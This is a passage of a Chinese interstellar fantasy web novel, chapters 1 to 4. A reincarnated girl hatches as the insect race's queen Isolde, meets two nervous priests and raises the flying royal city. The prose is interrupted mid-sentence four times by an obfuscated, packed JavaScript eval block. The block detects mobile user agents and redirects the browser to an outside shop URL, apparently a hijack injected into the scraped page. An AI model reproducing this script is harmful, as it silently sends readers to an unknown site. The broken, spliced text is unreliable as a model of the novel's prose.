《【星际】王女今天也在征服世界》 1. 一切的最开始 “你好,伊索尔德。”从黑暗中唤醒她的是一道温柔的女声。 她睁开眼,大脑一片空白。粼光闪闪的湖泊出现在她面前,金色的液体在其中波荡,从湖泊中心散发出来的明亮光辉充盈着空间,一切都仿佛被镀上了黄金般的色彩。 “你好?这里是哪里?” 她能判断出这里是一处空旷而巨大的山洞,可奇怪的是,她感受不到自己的身体。 她能看见湖泊,但并非通过视觉;她能察觉到自己位于山洞之中,却不明白自己为什么知道。她不用听,不用看,仅凭感觉便能轻易在脑海里勾勒出周围的一切。五感消失了,取而代之的是另一种“触觉”。 ...或者说,“第六感”? 伊索尔德决定用模糊的印象为这种感觉命名。 “欢迎来到这个世界。”那道声音又响了起来。这声音温柔得不可思议,轻而易举地抚平了她心中的迷茫与困惑。 声音的主人耐心地回答着她的问题,“这里是母巢。孕育王虫的湖泊。很高兴你如期醒来了。你现在感觉如何?” 伊索尔德下意识回答:“还不错?只是…”她感受着包裹着自己的温暖水流,“我是在水里面吗?”她有些迟疑地问道。 “当然。因为你还没出生呢。”那声音怜爱地对她说。 “......?抱歉,无意冒犯,虽然我不记得很多事情了,但我想我应该已经出生很久了。”伊索尔德谨慎地措辞,“请问你能为我解释发生了什么吗?” “当然,我很乐意。让我们先从‘第二人生’说起吧。” ** 简单来说,这一切都来自于高维生物的一个实验。祂们从小世界中抽取濒死的灵魂并随机投入其他的世界。在新世界,实验者——或者说“玩家”,将拥有全新的身份,并开始她们新的生命。而高维生物会全程跟踪并记录玩家的生命,直到她们死去。 “至于为什么你失去了记忆,”自称“母亲”的高维生物轻笑了一声,“是因为你在签订协议时提出想要以更加深入的方式体验这场游戏,因此委托我将你的记忆做了一定处理。另外,在你出生后这些相关的记忆也会被消除。现在是新手解答时间。” “我要付出什么吗?” “什么也不用。”祂说,“对你们的生命本身进行观测就是我们的目的。想做什么都行。” “哪怕是毁灭世界?” “哪怕是毁灭世界。” 这自由度可太高了。 “母亲”给了她充足的时间来思考,伊索尔德分析了半天,发现自己竟然发自内心地认为祂说的是真话。 记忆被处理得很彻底,在她残留的印象中,只发现自己貌似是个无可救药的基建种田游戏爱好者。再加上有濒死这个前提,她觉得自己好像还真的会答应下来。 毕竟虽然听起来有点可疑,但总体而言跟游戏没什么区别。只能一命通关这件事固然算缺点,然而如果考虑到这本就是从死神手中抢回来的第二条命,最多算是瑕不掩瑜。 而且欺骗一个失忆人士难道会有什么好处吗? 没有。 所以伊索尔德相当坦然地选择摆烂。 当她接受了“母亲”所讲述的事情之后,注意力就不可避免回到了周围。 “距离你出生还有很长一段时间,我们先来聊聊怎么样?我想你应该有许多的问题,我很乐意为你解答。” 就如同每个从陌生地方醒来的人一样,伊索尔德问出了那个问题。 “我是谁?” 它,或者说“祂”,发出了轻柔而饱含爱意的笑声。 “在这个世界,你是伊索尔德,第十六代王虫,将在成年后加冕。命运将我们牵系在一起。” 命运…?伊索尔德困惑地咀嚼着这个词组,“我们见过吗?” “在非常久之前。是的。” “为什么选中我?” “你有符合我要求的天赋。我相信你能创造出一个很精彩的故事。我喜欢这个。” 更多的问题,更多的回答,更多的困惑。 伊索尔德发现祂的确知无不言,然而有更多的东西已经被埋葬在消逝的记忆里。每一个答案都只带来更多问题,每一个问题都需要更多答案来回答。也许只有等她回想起来那些记忆,这些答案对她而言才有意义。 仿佛感受到了她的迷茫,包裹着她的温暖水流轻轻抚摸着她的脸颊。伊索尔德蜷缩在水流里,决定不再去探究那些过去,毕竟现在已经是新的开始了。她会成为一个幼崽,然后长大——说不定还会夭折——然后死亡。 忽然,她用自己的“触觉”轻轻碰撞了一下那道声音的主人。 “我要去的世界是什么样的?” 祂就站在外面—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467401|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许不是站,是更缥缈的一种存在形式,也许是像光那样漂浮着,亦或者是像空气那样无处不在——纵容着伊索尔德向自己伸出“手”。 “这很难说。不过虫族是个非常友好的种族。它们对于王的敬爱与忠诚即便在宇宙之中也非常罕见。它们很容易被‘王’影响,你的意志将会塑造你与它们的未来。” 伊索尔德本想得到更多信息,就算之后会忘掉,但谁又能拒绝人生剧透呢?至少她拒绝不了。 但,“我有更多的问题了。” “没关系,等你出生后祭司会告诉你的。时间快到了,你该诞生了。” “不。等等,我还有最后一个问题。”伊索尔德感受到自己被祂包容着,非常温柔又舒适,像在草地上懒洋洋地晒太阳,让她几乎昏昏欲睡。 “你究竟是谁呢?” “我还以为你不会问这个问题了。”祂笑了一下,声音越发轻柔。 睡意更加汹涌地向伊索尔德袭来。作为种族自带天赋,第六感又在发挥作用,她似乎看到一个满是光辉的人形站在外面。祂的面容笼罩在光晕中模糊不清,背后垂落着一对轻薄而绚丽的羽翼,细密的鳞片在她的眼眶下分列。 她觉得“母亲”应该正微笑地看着自己。 那人对她说: “我是虫族的缔造者,以及你的母亲。我来是为了见证你的传奇,为了向后来者讲述你的故事。” 闪烁的光像星辰那样连成一片,伊索尔德感觉自己被这一望无际的星海包裹着向更深处坠去。光一下子暗了下去,仿佛星星随着她一起入睡。当她的意识沉入湖泊时,属于虫族的王储也在缓慢化为实体。 湖泊本身具有一定自我意识,会尽可能地迎合王虫自身的喜好。在伊索尔德彻底进入睡眠中时,山洞正逐渐向着伊索尔德喜欢的样貌转化:岸边长出一簇簇美丽的鲜花,光秃秃的泥地上冒出数不清的青草,几棵花树极速生长,它们的枝干彼此纠缠在一起让暗处的光虫伏在枝叶上,像宝石那样发出柔和的光。 眨眼间,山洞里的景象已经天翻地覆。在完成这一系列转变之后,所有活物都一道安眠了下来,连风声都几不可闻。唯有湖泊自己还在发着光,像一颗流动的琥珀石,保护着最心爱的孩子。 “快醒来吧。” 站在湖边的“母亲”慈爱地说。 “你的故事就要开始了。” 2. 诞生 星际时代,智慧文明的数量和类型远超学者最疯狂的想象:精灵、天使、龙、深渊、人类......多如繁星的文明散布在宇宙中,依靠空间折叠和跃迁维系着来往。实力强横的文明们集合形成了六大星系,而伊索尔德就诞生在第六星系的正中央。 这里属于虫族,一个从虫类演化而来的文明。 最混乱、最狂暴的星云簇拥着这片瑰丽如同宝石的星系,常年不绝的粒子风暴隔绝了外人的视线,也是对外的第一道屏障。虫族的母星阿斯塔在前不久回归此地,由三大军团共同护送。由虫族统治管理的星球全部进入了最高警戒状态,所有危险品及持有人都迎来了史无前例的大清洗,宇宙联盟里的议会成员甚至抛下会议不远万里回到母星。 整个虫族都进入了战备状态,她们在为同一件事疯狂。 王虫就要诞生了。 ...... 母巢。 阿斯塔星的最深处。 一座岛屿静静漂浮在母巢中。岛上植被茂密,鲜花遍地,盛满了培养液的湖泊里安放着一只白色的蛹,丝丝缕缕的精神力从里面逸散而出,附着在了周围的每一株鲜花、每一颗青草、每一块石头上。 它在一瞬间拥有了无限的视野,又在下一个瞬间跟着这些视野一起呼吸,岛屿上的风卷着它往高处飞去,当它向下看去的时候,忽然意识到了沉眠在白蛹之中的正是自己的身体。 这是我。它忽然意识到这点。紧接着,湖泊开始震动。 涟漪在湖面上一圈圈荡开,水浪被掀起泼向四周,湖底的蚕蛹滚动了一下,像是突然“醒”了过来。它的表面浮现出几个凸出的形状——就像里面的王虫试探着触碰了一下这包裹着自己的东西。 外凸的形状很快就消失了,一只手破蛹而出,锋锐的指尖从上到下划开了整个蛹壳。 蛹壳剧烈地颤动着,一个被银发包裹着的小女孩从蛹中滚落。她闭着眼,看起来还在睡梦之中,之前的所作所为不过是出于本能。湖水温柔地将她往上推去,一直将她送到了一块幽黑的石台上。 石台的周围刻满了奇异的花纹。星星点点的光芒从中飞出,慢慢落进她的眉心。 这些花纹是开启传承记忆的钥匙,王虫会在石台上得到先代们的记忆。等到她睁开眼,就意味着王虫已经彻底诞生。 ...... 伊索尔德在湖泊边醒来。 她伏在一块弧度圆润的石头上,身体一半浸没在水里,一半裸露在空气中。湖泊的水波轻轻拍打在她身上,就像母亲柔声呼唤着自己的孩子起床。 数不尽的鲜花簇拥着她,像绒毯一样垫在她的手下和身旁。几株古树的枝干互相缠绕,柔软的树枝就垂落在水中。清澈的金色湖泊中有一尾尾小鱼游动,薄薄的灿金色光辉从山壁上倾斜而下,如同雾气一样萦绕在整个空间之中。 这画面仿佛神话一般奇异又肃穆,让人不禁想到那些古籍中记载的神明诞生时的场景。 伊索尔德从石头上坐起,她低下头,看着水中自己的倒影。 水面里的女孩把遮挡视线的长发别在耳后,仔细地端详着自己的脸。 ——银色的头发像绸缎一样柔顺,深绿色的眼睛深处有金色的光跳跃。稚嫩的脸上有一点婴儿肥,跟瞳孔同色的细密鳞片均匀地分布在眼下,闪烁着金属的色泽。她背后垂落着一对精巧而纤薄的羽翅,颜色几近于透明,在光线下折射出绚丽的色彩。 温暖的光落在她身边,伊索尔德不自觉眯起了眼。她的瞳孔像虫类那样竖立着,外界的亮度越高,瞳孔便拉伸得越发纤长。冰冷的神光让她看起来就像丛林中潜伏着的大型猎食者,貌似脆弱的虫翅在身后微微振动,无声无息割断了地上的青草与鲜花。 无与伦比的危险,无与伦比的美丽。 即便使用了人形的拟态,将自己塞进一个柔弱小巧的躯壳,看起来依然和猛兽假装猫咪一样充满了令人不适的异质感。 伊索尔德乐滋滋地照镜子,心想母亲肯定很喜欢自己。 ——母亲喜爱她的孩子,因此会将自己觉得美好的一切都赋予王虫。 但让伊索尔德感到有点奇怪的是这具身体太过年幼了,看起来只有七八岁的的样子,不管放到什么地方都只能用幼崽一词来概括。 我只有这么小吗?她有点困惑,但很快就把这个想法抛之脑后。毕竟现在最重要的事情不是年龄,而是先从母巢离开。 王虫已经诞生了,应向自己的臣民做出宣告。 伊索尔德没有任何记忆,对她而已,睁眼所见到的一切都是崭新的。不过在诞生之初,埋藏在血液与灵魂中的传承记忆就已经向她讲述了知识与历史,她知道自己是什么,这里是哪里,又该做什么。 作为一只刚刚从湖泊中诞生的王虫,她应该走到外面去。一场盛大的欢迎宴会正在外面等着她。虫族那样喜爱、尊敬、信仰着“王”,尽管她们无法来到这里,第一时间迎接王虫的诞生,但群体性的情绪已经从湖泊身上蔓延开来。 一整个族群都在为她的诞生欢呼,伊索尔德从中品尝到了信徒的狂热,父母的怜爱,以及臣民的期许。 她们正虔诚地等待着。就像在沙漠里跋涉许久的旅者等待雨水,就像神庙里的祭司等待预言。或许是身为王的本能,或许是被这种真切的情感打动,伊索尔德感觉自己的心中也萌发了某种可以被称之为责任感的东西——她迫切想要离开这里,去到自己的臣民眼前。 不过在那之前,还有一件事要做。 “我得先做一件衣服。”伊索尔德这样想。 ...... 就算是王虫也不能无中生有,伊索尔德决定采纳前辈的经验,用自己的蛹壳做原料。 她拜托湖泊将自己的蛹从水里捞出来,然后将它们碾碎成白色的粉末,无形的精神力被拉成长丝在粉末里打滚给自己染上颜色,伊索尔德将这些染色完成的线收集起来,小心翼翼控制着它们融合,一点点织成了柔软异常的白色布匹。 虫族不能靠近孕育王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467402|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虫的湖泊,因此每代王虫出生后的第一件事都是为自己织造一件衣服。 伊索尔德从传承记忆里看到了前辈们做衣服的场景:用长草捏造的、拿宽大树叶应付的、现场抽丝搓线的。母巢里可供使用的原料非常多,这也为王虫织造自己的衣服提供了物质基础。每一代都有自己的灵机一动,虽然手艺水平不同,比如有的能手搓礼服而有的只会扯块布,但从多样性上已经赢了太多。伊索尔德最为惊叹的是第十代王虫,她极具艺术天赋,最后给自己做了一件颜色鲜艳款式复古从各方面来说都无可挑剔的礼服, 将做好的纯白布匹放在石台上晾晒,伊索尔德伸了个懒腰,开始在在湖边开始挑选染料——苍木草可以调出柔和的月白色,支木槿可以染出深沉的紫色,柯尔特可花染出的淡粉色像玫瑰花那样美丽,卡莱一草的颜色更是如同琥珀一样温柔...... 她摘了一大捧花草抱在怀里,路过的古树还送了她不少柔韧枝条把花草捆好,布匹被晾好后,伊索尔德开始专心致志调制自己喜欢的颜色。她折了一根树枝当画笔,蘸着颜料在布匹上笔走龙蛇。 明亮的光芒渐渐黯淡下去,太阳就要下山了。 最后一笔落下,伊索尔德轻轻拎着它抖了抖,欣赏着自己亲手所制的第一件衣服。 一件很有古蓝星宫廷风的长裙落下来,它看起来有点像睡袍,通体雪白,在边缘用深绿色的颜料染出来一点花纹。荷叶边点缀在领口和下摆处,伊索尔德画了一些植物在下摆,那些植物活灵活现,在走动的时候仿佛有花草在随着她一起摇动。 伊索尔德很有自知之明,她知道自己没那个天赋做一件礼服,但是复古款的长袍还是没什么问题的。 她欣赏了一下,然后把长裙套上了。浓密的银发被拎出来放在身后,虫翅在预先留好的空白处自如舒展,眼下的鳞片闪烁着金属的光泽,她提着裙子转了一圈,像个普通的女孩那样开心地笑了。 “我要走了,”她大声对湖泊,对母巢说,“再见!” 太阳恋恋不舍落下,月光迟迟地落在湖泊中,一簇水花拍了拍伊索尔德的脚踝。 “什么?我忘记什么东西了吗?” 她低头向水花看去,发现那里放置着一顶用鲜花编织而成的华丽花冠。 孕育王虫的湖泊在离别时会送给她礼物。 伊索尔德收到了一顶花冠。 她笑了起来,把花冠端端正正戴在自己头上。芬芳的气息从花朵上传来,她哼着歌,眼下的鳞片在月光下粼粼闪光。 “谢谢你!”她说,“花冠很漂亮,我很喜欢。这是我收到的第一件礼物。” “作为回报,”王虫说,“当我再次回到这里时,我会为你带来世界上最美好的礼物。” 湖水拍打了一下岸边,如同无声应和,又如同微笑。它目送着王虫走向母巢之外,目送着自己的孩子走向那危险而广袤的世界。 我祝福你。它也静悄悄地说。祝福你将拥有一切。就像母亲所期许的那样。 3. 盛宴 为了保护王虫,母巢的大部分出入口在修建之初就被风暴封闭,为数不多的的缝隙也被空间折叠和层层部署的防御措施所掩盖。 想要从这里出去,唯一的办法就是穿过“通道”。 通道的位置随时都在变化,但是王虫可以使其暂时固定。伊索尔德估算了一下它下次出现的地方,她抬起手,无数透明丝线从指尖迸发,瞬息就落到了通道所在的位置,强行把它裹得密不透风。 丝线拉扯着通道停留在原地,伊索尔德向它走去。 在王虫面前,母巢内的造物显示出了非同一般的温驯,自觉为她让开了道路:古树的枝干向两侧收拢,地上的鲜花小心翼翼不让露珠打湿长裙,垂落的藤蔓一边攀附到周围的植物茎秆上,一边扭转枝叶为她指明方向。 在周围的藤蔓第六次改变方向时,莹莹闪光的通道出现在伊索尔德的眼前。它由多条金属锁链连接,无数悬浮的幽蓝色台阶由下而上铺出通往外界的通道,周围的空间乱流时不时将小行星撞成碎片,在那些纷落的天体碎片中,有流星在燃烧,又或者熄灭。 伊索尔德的目光随着台阶往上,看到幽深到没有一点光线的尽头。 那里就是出口,即便以王虫的目力也无法看清里面究竟有什么,许多代王虫都曾经从这里走出,如今伊索尔德也将成为其中之一。 她踏上台阶。 ...... 狂暴到足以撕碎绝大部分事物的空间乱流将她卷入其中,刚刚走了几步,伊索尔德就敏锐地发现自己的身体出现了点问题——不知出了什么差错,她的体质跟历代王虫相比似乎有一定程度的下降,不足以支撑她自如地穿越乱流。 密密麻麻的刺痛感传来,虫翅颤抖一瞬,伊索尔德拎起一角查看,发现边缘处出现了些许被灼伤后的焦黑。新生虫族的虫翅是最敏感也脆弱的部位,就算再生速度很快,但乱流越往上越猛烈,再这样下去,恐怕她的虫翅就要变成一块焦炭。 母亲会为王虫塑造最强大的身体,以此保证王虫能够最快速适应星际世界恶劣的环境。作为代价,王虫的孵化条件异常严苛,如果她没有达到标准,从一开始就不会出生。 到底怎么回事? 来不及思考更多,为了不成为第一只被空间乱流烤成虫干的王,伊索尔德放弃了欣赏风景,开始沿着通道向上奔跑。 空间乱流之间存在缝隙,只要速度够快,就能从中穿过去,最大程度减轻对自身的伤害。 这需要高度集中的精神以及极其精准的判断,只要出现一点差错,就会被毫不留情地绞成齑粉,成为宇宙垃圾的一部分。 随着注意力的集中,伊索尔德深绿色的瞳孔深处浮现了淡淡的金色。 她的身体在台阶上不断飞跃,灵魂却游离在外,冷静地看着自己。 半晌,她做出了评估:这很简单。不会比做一件衣服困难多少。 被用力踩在脚下的台阶摇晃一瞬又浮起,而踩踏者已经往更上层跃去。无数乱流被抛在身后,收拢在背后的虫翅飞快地复原着,伊索尔德灵活地穿梭其中,几乎成为一道迅捷的影子。 她的速度很快,眨眼间就到了通道尽头。 那里依然没有任何光线,台阶散发出的微光都被吸收了,最明亮的火焰在它面前也会失去颜色,恐怕没有任何事物能够为它点缀光彩。 乱流如影随形,在灼伤的痛苦之中,伊索尔德冲了进去。 ...... 暮色沉沉,大片大片的光在她眼前绽开,通道在背后合上,伊索尔德开始打量周围。 这是一片只能用空旷来形容的广场。以伊索尔德站立的地方作起点,一条宽阔的道路在她面前展开。细碎的黑石点缀在雪白的地砖里,十六根乳白色的圆柱分列在道路两旁,宝石做成的鲜花簇拥在她身旁,在黄昏中依然散发着柔和的光芒。 伊索尔德回过身,发现身后伫立着一座雕像。 就像孩子看到母亲那样,伊索尔德一眼就认出了这是谁。 “母亲。” 鲜花宝石与圆柱正是为她而存在的,伊索尔德凝视着雕像,忽然发现那雕像的裙摆微微动了一下。 陌生的晶体从天而降,一开始像水滴一样细密,很快,就像暴雨那样铺满了整片广场。 低温气流带来些微冷意,宝石花木表面都落着一层霜白雪花。伊索尔德呵出一口气,雾气在她眼前缓缓升腾而起。 原来这是冬天。她忽然想。 阿斯塔星很少下雪,在先代们的记忆里,这颗星球似乎跟母巢一样永远四季如春。而现在,一场似乎永无尽头的大雪正飘落在阿斯塔星的土地上。 王虫突然想起自己的名字。 伊索尔德寓意着“冰与铁”,也许这场雪正是她诞生在此的第一份证明。 落在她眼睫上的雪花颤动不停,很快融化,伊索尔德伸手抹去那些水珠,忽然安静了一会儿。 “我听到外面的声音了。”她慢慢地说,“宴会,烟花,流转不息的能量...王虫诞生的消息应该已经传到祭司那边,我想她们很快就要来接我了。” “其实我有点紧张。”她小声对母亲说,“记忆不能告诉我要怎样当好一个王,又该为她们做什么。我从精神海里感知到了喜悦和期待,但我才刚出生呢,而且看起来还这么小,她们是不是会失望?”想到这里,伊索尔德忍不住又想起自己的虫翅,她有点沮丧地开口,“为什么我这么脆弱?母亲,我跟你有一样的虫翅和眼睛,难道我不是你最爱的孩子吗?” 雪更快更大地落到伊索尔德身上,那些雪花如此轻柔,连带来的风都失去了冰冷的温度。 “你肯定很喜欢我。”她忽然又有点得意地说,“你都为我下雪了。放心吧,我不会让你失望的。” 远处传来细微的落地声,伊索尔德转过头,瞳孔拉得细长。 有谁来了。 ...... 弗洛塔和余走在雪地里。她们的脖子和手腕上用不会褪色的颜料绘制着交织的纹样,腰间斜挎着半出鞘的长刀,在雪地里时不时闪过一抹银光。 按照记载,王虫会在这里等待着属于她的祭司。但广场太大了,原本用碎石子做出标记的道路也已经被雪掩埋,除了雕像可供参考外,方向已经失去了意义,她们只能凭直觉先走到雕像那里去。 “我有一种预感。”余看了看地面,又看了看远处,表情略显凝重。 弗洛塔一边用尾巴扫雪一边敷衍自己的同僚:“请说。” “王的头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467403|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和衣服应该是浅色的。” 弗洛塔:“……” 她情不自禁捂住了额头,悲哀地发现即便跟余已经共事了快十年,自己还是没能习惯她从人类那里学来的冷笑话。 应对余的冷笑话最好的办法是置之不理,弗洛塔继续扫雪,并要求余也一起帮忙。 “这算是义务清洁吗,在母亲面前为她清扫,好的,我感到荣幸。” “有时候我真的听不懂你在说什么。你的语言功能真的还正常吗,星际通用语有那么难吗?” “我们可以直接用精神网络来确定王在哪。”余说出了她的真实意图。 “容我提醒,王才刚刚诞生。她现在接入的是母亲和先代王虫们的精神网络,我们跟她隔了死亡作为屏障。”弗洛塔狠狠拍了一下她的手臂,“请告诉我,你的常识课及格了!” “当然。当然。”余知道自己表现不对,老老实实挨了这一下,“抱歉,弗洛塔,我只是有点紧张。这种事情只有我们来真的好吗,我知道有两位祭司会得到迎接王的荣耀,但我们俩才刚刚从学院毕业,最接近王虫的时刻是给她们献上鲜花...”她停下来,没有继续说下去,仿佛耻于让风和同伴听到接下来的话。 但弗洛塔知道她想说什么。 余那双黑色的眼睛里清楚明白地写着一行字,就和她不自知的焦虑一样容易读懂——我们的资格还远远不够,但最后却被选中。 “但母亲选择了我们。”弗洛塔看着她说,“所以这就是最正确的选择。” “没错,我也这么认为。” 一道清脆童音加入了她们的对话,不甚熟练地安慰着她们。 已知在场有王,弗洛塔,余三只虫族,而后两位成年已久,声线与幼崽相去甚远,求问,刚刚说话的是谁。 弗洛塔和余突然沉默了,她们像木偶一样一卡一卡慢慢低下头,一抹亮色撞入眼中。 伊索尔德笑盈盈看着她们,那双幽静、纯净的绿色眼瞳像春风一样柔软。她看起来既高贵,又危险,看到她时,第一时间注意到的绝对不是她那年幼的外表,而是时不时外溢的非人气息。 她就像一块翡翠那样引人注目,弗洛塔确信不会有比她更符合王虫这一身份的存在了。 而她们竟然在王的面前吵架还被听完了全程! 弗洛塔因为羞耻而飞速地脸红了,她立刻拉着余一起单膝跪在了王的面前。涂抹在手腕和脖颈上的花纹不停闪烁,昭示着宿主心情的剧烈波动。 “请原谅我们的疏忽。”她差点磕绊了一下,还好在出发时背诵的那些稿子拯救了她,“我是弗洛塔。我们为您而来,将迎接您至盛大的宴会。” 余慢一拍地接话,力求让王忘记刚刚发生的一切,“精神网络随时可以迭代,我们时刻等待着成为您的一部分。” “我很乐意。”没有犹豫,伊索尔德轻快地回应了她们。忐忑不安的两只虫族自以为不动声色地松了口气,王虫有些好笑地看着她们,把双手搭在弗洛塔和余摊开的手掌上。 “不用这么紧张。”伊索尔德说,“经由我和母亲双重确认,你们是非常合适的选择。” 她微笑了一下。 “走吧,带我离开这。我迫不及待想要见到大家了。” 4. 真实与虚幻与王城 在注意到伊索尔德过分年幼的外貌之后,弗洛塔首先做的事是拿出了一件毛茸茸的斗篷。她坚持王需要加一件衣服,因为“这里在下雪!”。 有一种冷叫做你的祭司认为你冷。在弗洛塔忧虑的眼神下,伊索尔德咽下了虫族什么时候怕冷了这种疑问,选择多穿一件外套。 “我刚刚听到你们说宴会,需要我出席吗?”伊索尔德站在原地,任由弗洛塔为她固定好斗篷。 “那是为了您诞生而举办的狂欢宴,只需要在这里看着就好。如果您唤醒王城后对此感到好奇的话,我想大家非常乐意近距离看到您。” “唤醒...王城?”伊索尔德复述了一遍弗洛塔的话,“这是什么意思?” 这是最近几代出现的新传统,伊索尔德不知道也很正常。 站在一边的余解释道,“那是只属于王的城市。是您的花园与殿堂,也是今后将居住的地方。只有王能打开它,在此之前,它一直沉睡在阿斯塔星里。” 弗洛塔对王虫的无常识十分习惯,甚至隐隐松了口气——太好了,果然书上说的大部分还是正确的,之前应该只是意外。 王虫的传承记忆会提供有关虫族的知识,但世界是会变化的,每个王虫出生的时代也大不相同,“在诞生后应该以怎样的方式出现在臣民面前”这种问题就很明显超出了伊索尔德当前的知识范畴,在这种时候,祭司就会派上用处。 比如现在。 “王城是阿斯塔星的心脏,它就在母巢的正上方。”弗洛塔接着余的话往下说,“只要您呼唤它,它就会出现。” 伊索尔德大概理解了。虽然还不是很明白呼唤是什么意思,但可以尝试一下。 “用精神力吗?” 祭司们愣了一下,弗洛塔和余面面相觑,“抱歉...这应该是只有您能做到的事情。” 也就是书上没写,不知道该怎么回答。 伊索尔德了然点点头,明白自己这两位祭司大概是真的刚刚毕业,对业务还不太熟练。 不过自己也是第一次当王嘛,无所谓了。 按照目前仅有的经验来看,伊索尔德觉得应该跟最开始遇到的湖泊差不多,都是依靠王虫特有的精神波频进行共振,以此达到沟通的目的。如果这也不行,她还可以直接用精神力进行全星球覆盖,强行把它从地里拔出来。 虽然没什么证据,但伊索尔德对自己的精神力强度有一种迷之自信。她隐约觉得自己可能牺牲了一部分体质用来换取精神力了,不然根本没办法解释身体如此孱弱而精神力使用起来又如此轻易。 站在原地胡思乱想了一会儿,伊索尔德决定直接上手。 和穿越通道时一样,她再次放出了自己的“线”,只不过这次她催动了全部。 数量多到让人犯密恐的丝线从她的身体里涌现出来,它们亲昵地缠绕着她的手臂,又随着她的信念向地面流淌。 扩张,弥漫,浸入。 从脚下的土地开始,丝线包裹着触碰到的一切,它们渗入阿斯塔星的每个角落,将每一点信息传回她的大脑。 伊索尔德开始“看到”。 跟还在蛹中时的感觉类似,她仿佛在一瞬间拥有了神的视角,一切都被收归眼底。 十六座城市漂浮在空中,面容不一的虫族则注视着更高处,无数流光在她们的目光中汇入天空中的港口,数台无人机被击落在防护罩上炸成烟花。 滞留在此的人类和同伴低声交谈,而仅有一墙之隔的精灵坐在窗边,凝视着一朵灰色的百合。 在最高的那座城池中,一个白发白眼的虫族正静静地站在观星台上,当伊索尔德的视线从她身上匆匆掠过时,她抬起了头。 千百种声响。千百张面容。千百道声音。 所有活着或死去的事物都变成了她的眼睛,她的身躯,她的一部分。 在这一瞬,伊索尔德成为了这颗星球。 越来越多的信息帮助她补全了阿斯塔星的全貌,她开始寻找那座属于自己的城市。 无形的视线从星球各处散开,伊索尔德很快感知到了唯一一个没有成为她的东西。 它沉睡着,密闭在宽广无边的水域中。 “你已经睡得够久了。”伊索尔德轻声说。 “现在,醒来。” ...... 奥维利亚港。 这是虫族为数不多对外开放的商业港口,每天有数万艘运输舰带着商品在此停泊。 这座港口已经封闭了三天,虫族妥当地安排了这些商人和货品,但由于在宴会结束前不被允许随意出入,许多种族私底下都在悄悄抱怨。 “见鬼。我再也不会怀疑她们对王的看重了,我们已经在这破地方被关了三天了!她们的宴会还要持续多久,一个星期?一个月?我还有三箱月茶花没有卖出去!” 一个女人正对着光屏吐槽,她的朋友正待在温暖舒适的书房里听她说话。 “我记得你以前认为那只是古董教科书的谬误。真没想到我们永远正确的珂朵莉也有这一天啊。”光屏那边的人喝了口茶,“不过你也不用太担心,至少她们提供了免费的食宿不是吗,还以三倍价格收购了滞留的商品。你就当度假好啦。在阿斯塔星度假可是无数人的梦想,说不定你还能好运气地看到王城呢。” “那个最神秘的地方?”珂朵莉翻了个白眼,“三百年里可从来没谁见过它。” “碰碰运气嘛,等等,珂朵莉,你是不是忘记调整力场了?”朋友突然放下了茶杯,“看看你背后,月茶花都浮起来了。” “什么?我才不会犯这种低级错误。别以为我会上你的当,”珂朵莉不屑地转过头,被一捧月茶花砸了个满面。 “什...?我明明...怎...” 朋友的呼唤声从光屏中传来。 “珂朵莉?珂朵莉!你能听到我的声音吗,发生什么事了?” “不,我...这,王。” 珂朵莉的声音变得断断续续,她在光屏里的投影不断闪烁,最后变成了黑屏。 朋友只听清了最后一句话。 ——王城飞起来了。 相同的场景在阿斯塔星的各个地方发生,不同程度的震动从星球本身传来,异族们晃晃荡荡地跌到在地,只能拼命抓住身边一切可以抓住的事物,以求自己不被甩落出去。 他们不知道发生了什么,但虫族已经凭借本能察觉到这异常的原因。街道上许多虫族都凝固在了原地,重力仿佛对她们格外温柔,在异族想尽办法稳住自己的时候,她们只是普通地站在原地就已经足够。 地面和天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467404|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空上的所有虫族都凝望着那座刚刚出现的城市,如同雕像一般不会动摇。 ...... 王城能飞这件事是伊索尔德没想到的,她本来以为浮空需要通过某种外力实现,结果没想到星际时代科技恐怖如斯,竟然直接在城市内置了浮空系统。 在伊索尔德说出那句话之后,一座城市就迅速地破水而出,并向天空飞去。 